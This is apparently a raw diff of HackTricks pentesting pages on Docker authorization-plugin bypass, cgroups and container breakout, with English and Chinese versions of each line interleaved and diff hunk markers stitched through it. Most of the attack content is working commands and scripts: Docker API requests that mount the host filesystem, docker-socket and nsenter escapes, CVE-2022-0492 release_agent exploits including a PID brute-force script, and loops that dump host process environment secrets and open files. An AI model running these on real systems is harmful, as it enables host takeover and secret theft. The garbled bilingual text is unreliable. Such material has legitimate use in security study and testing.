可能在系统管理员配置 docker 防火墙时,他 **忘记了一些重要参数**,例如 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 中的 "**Binds**"。\
在以下示例中,可以利用此错误配置创建并运行一个挂载主机根目录(/)的容器:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
> [!WARNING]
> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`**
> 注意在这个例子中,我们将 **`Binds`** 参数作为 JSON 的根级键使用,但在 API 中它出现在 **`HostConfig`** 键下。
### Binds in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
### HostConfig 中的 Binds
按照与 **根中的 Binds** 相同的指示,向 Docker API 执行此 **请求**
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### Mounts in root
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
按照与 **Binds in root** 相同的指示,向 Docker API 执行此 **request**
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### Mounts in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
按照与 **Binds in root** 相同的指示,向 Docker API 执行此 **request**
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## 未检查的 JSON 属性
## Unchecked JSON Attribute
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
系统管理员在配置 docker 防火墙时,**可能忘记了某个参数的重要属性**,例如在 "**HostConfig**" 中的 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 中的 "**Capabilities**"。在以下示例中,可以利用此错误配置创建并运行具有 **SYS_MODULE** 能力的容器:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
```
> [!NOTE]
> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions.
> **`HostConfig`** 通常是包含 **有趣的** **权限** 的关键,可以用来逃离容器。然而,正如我们之前讨论的,注意在外部使用 Binds 也有效,并且可能允许你绕过限制。
## Disabling Plugin
If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it!
## 禁用插件
如果 **sysadmin** **忘记** **禁止** 禁用 **插件** 的能力,你可以利用这一点来完全禁用它!
```bash
docker plugin list #Enumerate plugins
@ -186,10 +167,9 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
记得在提升权限后**重新启用插件**,否则**重启docker服务将无效**
Remember to **re-enable the plugin after escalating**, or a **restart of docker service wont work**!
## Auth Plugin Bypass writeups
## Auth插件绕过写作
- [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups.
**Linux 控制组**,或称 **cgroups**,是 Linux 内核的一个特性,允许在进程组之间分配、限制和优先处理系统资源,如 CPU、内存和磁盘 I/O。它们提供了一种 **管理和隔离资源使用** 的机制,适用于资源限制、工作负载隔离和不同进程组之间的资源优先级等目的。
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including:
**cgroups 有两个版本**:版本 1 和版本 2。两者可以在系统上同时使用。主要区别在于 **cgroups 版本 2** 引入了 **层次化的树状结构**,使得在进程组之间进行更细致和详细的资源分配成为可能。此外,版本 2 还带来了各种增强功能,包括:
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance.
除了新的层次化组织cgroups 版本 2 还引入了 **其他几个变化和改进**,例如对 **新资源控制器** 的支持、更好的遗留应用程序支持和性能提升。
Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern.
You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\<pid>. You can start by looking at your shells cgroups with this command:
总体而言cgroups **版本 2 提供了更多功能和更好的性能**,但在某些需要与旧系统兼容的场景中,仍然可以使用版本 1。
您可以通过查看 /proc/\<pid> 中的 cgroup 文件来列出任何进程的 v1 和 v2 cgroups。您可以通过以下命令开始查看您 shell 的 cgroups
```shell-session
$ cat /proc/self/cgroup
12:rdma:/
@ -28,60 +27,53 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
输出结构如下:
The output structure is as follows:
- **数字 212**cgroups v1每行代表一个不同的 cgroup。控制器在数字旁边指定。
- **数字 1**:也是 cgroups v1但仅用于管理目的由例如 systemd 设置),并且没有控制器。
- **数字 0**:表示 cgroups v2。没有列出控制器这一行仅在仅运行 cgroups v2 的系统上存在。
- **名称是层次结构的**,类似于文件路径,指示不同 cgroups 之间的结构和关系。
- **像 /user.slice 或 /system.slice 的名称** 指定 cgroups 的分类user.slice 通常用于由 systemd 管理的登录会话,而 system.slice 用于系统服务。
- **Numbers 212**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number.
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
### 查看 cgroups
### Viewing cgroups
文件系统通常用于访问 **cgroups**,与传统用于内核交互的 Unix 系统调用接口不同。要调查 shell 的 cgroup 配置,应检查 **/proc/self/cgroup** 文件,该文件显示 shell 的 cgroup。然后通过导航到 **/sys/fs/cgroup**(或 **`/sys/fs/cgroup/unified`**)目录并找到一个与 cgroup 名称相同的目录,可以观察与 cgroup 相关的各种设置和资源使用信息。
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
![Cgroup 文件系统](<../../../images/image (1128).png>)
![Cgroup Filesystem](<../../../images/image (1128).png>)
cgroups 的关键接口文件以 **cgroup** 为前缀。**cgroup.procs** 文件可以使用标准命令如 cat 查看,列出 cgroup 中的进程。另一个文件 **cgroup.threads** 包含线程信息。
The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information.
![Cgroup 进程](<../../../images/image (281).png>)
![Cgroup Procs](<../../../images/image (281).png>)
管理 shell 的 cgroups 通常包含两个控制器,用于调节内存使用和进程数量。要与控制器交互,应参考带有控制器前缀的文件。例如,**pids.current** 将被引用以确定 cgroup 中的线程数量。
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup.
![Cgroup 内存](<../../../images/image (677).png>)
![Cgroup Memory](<../../../images/image (677).png>)
值中 **max** 的指示表明 cgroup 没有特定限制。然而,由于 cgroups 的层次结构,限制可能由目录层次结构中较低级别的 cgroup 强加。
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy.
### Manipulating and Creating cgroups
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
### 操作和创建 cgroups
通过 **将其进程 ID (PID) 写入 `cgroup.procs` 文件** 将进程分配给 cgroups。这需要 root 权限。例如,要添加一个进程:
```bash
echo [pid] > cgroup.procs
```
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
同样,**修改 cgroup 属性,例如设置 PID 限制**,是通过将所需值写入相关文件来完成的。要为 cgroup 设置最多 3,000 个 PID
```bash
echo 3000 > pids.max
```
**创建新的 cgroups** 涉及在 cgroup 层次结构中创建一个新的子目录,这会提示内核自动生成必要的接口文件。尽管没有活动进程的 cgroups 可以使用 `rmdir` 删除,但要注意某些限制:
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints:
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy).
- **A cgroup cannot possess a controller absent in its parent**.
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
- **进程只能放置在叶子 cgroups 中**(即层次结构中最嵌套的那些)。
- **一个 cgroup 不能拥有其父级中缺失的控制器**
- **子 cgroups 的控制器必须在 `cgroup.subtree_control` 文件中显式声明**。例如,要在子 cgroup 中启用 CPU 和 PID 控制器:
```bash
echo "+cpu +pids" > cgroup.subtree_control
```
**root cgroup** 是这些规则的一个例外,允许直接放置进程。这可以用来将进程从 systemd 管理中移除。
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management.
在 cgroup 中 **监控 CPU 使用情况** 可以通过 `cpu.stat` 文件实现,该文件显示总的 CPU 时间消耗,有助于跟踪服务的子进程的使用情况:
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses:
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>CPU usage statistics as shown in the cpu.stat file</p></figcaption></figure>
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>cpu.stat 文件中显示的 CPU 使用统计信息</p></figcaption></figure>
## References

View File

@ -2,35 +2,24 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## 自动枚举与逃逸
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): 它也可以 **枚举容器**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 这个工具非常 **有用来枚举你所在的容器,甚至尝试自动逃逸**
- [**amicontained**](https://github.com/genuinetools/amicontained): 有用的工具来获取容器的权限,以便找到逃逸的方法
- [**deepce**](https://github.com/stealthcopter/deepce): 用于枚举和逃逸容器的工具
- [**grype**](https://github.com/anchore/grype): 获取镜像中安装的软件所包含的 CVE
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## Automatic Enumeration & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
## Mounted Docker Socket Escape
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
## 挂载的 Docker 套接字逃逸
如果你发现 **docker 套接字被挂载** 在 docker 容器内,你将能够从中逃逸。\
这通常发生在某些需要连接到 docker 守护进程以执行操作的 docker 容器中。
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
In this case you can use regular docker commands to communicate with the docker daemon:
在这种情况下,您可以使用常规的 docker 命令与 docker 守护进程进行通信:
```bash
#List images to use one
docker images
@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> 如果 **docker socket 在意外的位置**,您仍然可以使用带有参数 **`-H unix:///path/to/docker.sock`** 的 **`docker`** 命令与其通信。
Docker 守护进程也可能 [在端口上监听 (默认 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md),或者在基于 Systemd 的系统上,可以通过 Systemd socket `fd://` 与 Docker 守护进程进行通信。
> [!NOTE]
> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
> [!NOTE]
> Additionally, pay attention to the runtime sockets of other high-level runtimes:
> 此外,请注意其他高级运行时的运行时套接字:
>
> - dockershim: `unix:///var/run/dockershim.sock`
> - containerd: `unix:///run/containerd/containerd.sock`
@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../
> - rktlet: `unix:///var/run/rktlet.sock`
> - ...
## Capabilities Abuse Escape
## 能力滥用逃逸
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
You can check currently container capabilities using **previously mentioned automatic tools** or:
您应该检查容器的能力,如果它具有以下任何一种,您可能能够逃离它: **`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE``CAP_SYS_RAWIO``CAP_SYSLOG``CAP_NET_RAW``CAP_NET_ADMIN`**
您可以使用 **之前提到的自动工具** 或:
```bash
capsh --print
```
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
在以下页面中,您可以**了解更多关于 Linux 能力**的信息,以及如何滥用它们以逃逸/提升权限:
{{#ref}}
../../linux-capabilities.md
{{#endref}}
## Escape from Privileged Containers
## 从特权容器逃逸
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
可以使用 `--privileged` 标志或禁用特定防御来创建特权容器:
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling
- `--cgroupns=host`
- `Mount /dev`
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts.
`--privileged` 标志显著降低了容器安全性,提供**无限制的设备访问**并绕过**多个保护**。有关详细信息,请参阅 `--privileged` 的完整影响文档。
{{#ref}}
../docker-privileged.md
{{#endref}}
### Privileged + hostPID
### 特权 + hostPID
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
使用这些权限,您可以简单地**移动到作为 root 运行的主机中的进程的命名空间**,例如 init (pid:1),只需运行:`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
在容器中执行测试:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### 特权
### Privileged
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**.
Test the following bypasses in a container executing:
仅凭特权标志,您可以尝试 **访问主机的磁盘** 或尝试 **通过 release_agent 或其他逃逸进行逃逸**
在容器中执行以下绕过测试:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### 挂载磁盘 - Poc1
#### Mounting Disk - Poc1
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
配置良好的 docker 容器不会允许像 **fdisk -l** 这样的命令。然而,在错误配置的 docker 命令中,如果指定了标志 `--privileged``--device=/dev/sda1`,则可以获得查看主机驱动器的权限。
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
So to take over the host machine, it is trivial:
因此,要接管主机机器,这很简单:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
而且,瞧!您现在可以访问主机的文件系统,因为它已挂载在 `/mnt/hola` 文件夹中。
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
#### 挂载磁盘 - Poc2
在容器内,攻击者可能会尝试通过集群创建的可写 hostPath 卷进一步访问底层主机操作系统。以下是您可以在容器内检查的一些常见事项,以查看您是否可以利用此攻击者向量:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### 特权逃逸 利用现有的 release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### 特权逃逸 利用创建的 release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
Find an **explanation of the technique** in:
找到**技术的解释**在:
{{#ref}}
docker-release_agent-cgroups-escape.md
{{#endref}}
#### Privileged Escape Abusing release_agent without known the relative path - PoC3
#### 特权逃逸 利用 release_agent 而不知道相对路径 - PoC3
In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isnt always the case. In cases where you **dont know the absolute path of the container inside the host** you can use this technique:
在之前的漏洞中,**容器在主机文件系统中的绝对路径被泄露**。然而,这并不总是如此。在你**不知道容器在主机中的绝对路径**的情况下,你可以使用这个技术:
{{#ref}}
release_agent-exploit-relative-paths-to-pids.md
{{#endref}}
```bash
#!/bin/sh
@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -309,9 +282,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Executing the PoC within a privileged container should provide output similar to:
在特权容器中执行 PoC 应该会提供类似于以下的输出:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -339,37 +310,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### 特权逃逸滥用敏感挂载
#### Privileged Escape Abusing Sensitive Mounts
有几个文件可能被挂载,这些文件提供了**关于底层主机的信息**。其中一些文件甚至可能指示**当发生某些事情时由主机执行的内容**(这将允许攻击者逃离容器)。\
滥用这些文件可能允许:
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
The abuse of these files may allow that:
- release_agent (already covered before)
- release_agent之前已经讨论过
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
However, you can find **other sensitive files** to check for in this page:
然而,您可以在此页面找到**其他敏感文件**进行检查:
{{#ref}}
sensitive-mounts.md
{{#endref}}
### Arbitrary Mounts
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasnt correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys…
### 任意挂载
在多种情况下,您会发现**容器从主机挂载了一些卷**。如果这个卷没有正确配置,您可能能够**访问/修改敏感数据**读取秘密修改ssh authorized_keys…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### 使用两个 shell 和主机挂载进行权限提升
### Privilege Escalation with 2 shells and host mount
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
如果您以 **root 身份访问一个容器**,该容器挂载了主机上的某个文件夹,并且您已经 **以非特权用户身份逃逸到主机**,并且对挂载的文件夹具有读取权限。\
您可以在 **容器** 内的 **挂载文件夹** 中创建一个 **bash suid 文件**,并 **从主机执行它** 以进行权限提升。
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Privilege Escalation with 2 shells
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
如果您在**容器内以root身份访问**并且已经**以非特权用户身份逃逸到主机**您可以利用两个shell来**在主机内进行特权升级**前提是您在容器内具有MKNOD能力默认情况下是这样的如[**在这篇文章中所述**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)\
拥有这样的能力容器内的root用户被允许**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如,/dev/sda块设备文件提供了**读取系统磁盘上原始数据的访问权限**。
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
Docker通过强制执行cgroup策略来防止容器内的块设备滥用**阻止块设备的读/写操作**。然而,如果在容器内**创建了块设备**,则可以通过**/proc/PID/root/**目录从容器外部访问。此访问要求**进程所有者在容器内外相同**。
**利用**示例来自这篇[**文章**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
如果您可以访问主机的进程,您将能够访问存储在这些进程中的大量敏感信息。运行测试实验室:
```
docker run --rm -it --pid=host ubuntu bash
```
例如,您将能够使用类似 `ps auxn` 的命令列出进程,并在命令中搜索敏感细节。
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
然后,正如您可以 **访问 /proc/ 中主机的每个进程,您可以通过运行以下命令直接窃取它们的环境秘密**
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
You can also **access other processes file descriptors and read their open files**:
您还可以**访问其他进程的文件描述符并读取它们打开的文件**
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
You can also **kill processes and cause a DoS**.
您还可以**终止进程并导致 DoS**。
> [!WARNING]
> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
> 如果您以某种方式拥有**对容器外部进程的特权访问权限**,您可以运行类似 `nsenter --target <pid> --all``nsenter --target <pid> --mount --net --pid --cgroup` 的命令,以**在与该进程相同的 ns 限制下运行 shell**(希望没有限制)。
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
如果一个容器使用 Docker [主机网络驱动程序 (`--network=host`)](https://docs.docker.com/network/host/) 配置,则该容器的网络栈与 Docker 主机不隔离(容器共享主机的网络命名空间),并且容器不会分配自己的 IP 地址。换句话说,**容器将所有服务直接绑定到主机的 IP**。此外,容器可以**拦截主机在共享接口上发送和接收的所有网络流量** `tcpdump -i eth0`
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
例如,您可以使用此方法**嗅探甚至伪造主机与元数据实例之间的流量**。
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
Like in the following examples:
如以下示例所示:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access).
您还将能够访问**绑定到 localhost 的网络服务**,甚至访问**节点的元数据权限**(这可能与容器可以访问的权限不同)。
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
通过设置 `hostIPC=true`您可以访问主机的进程间通信IPC资源例如 `/dev/shm` 中的 **共享内存**。这允许读取/写入其他主机或 pod 进程使用的相同 IPC 资源。使用 `ipcs` 进一步检查这些 IPC 机制。
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further.
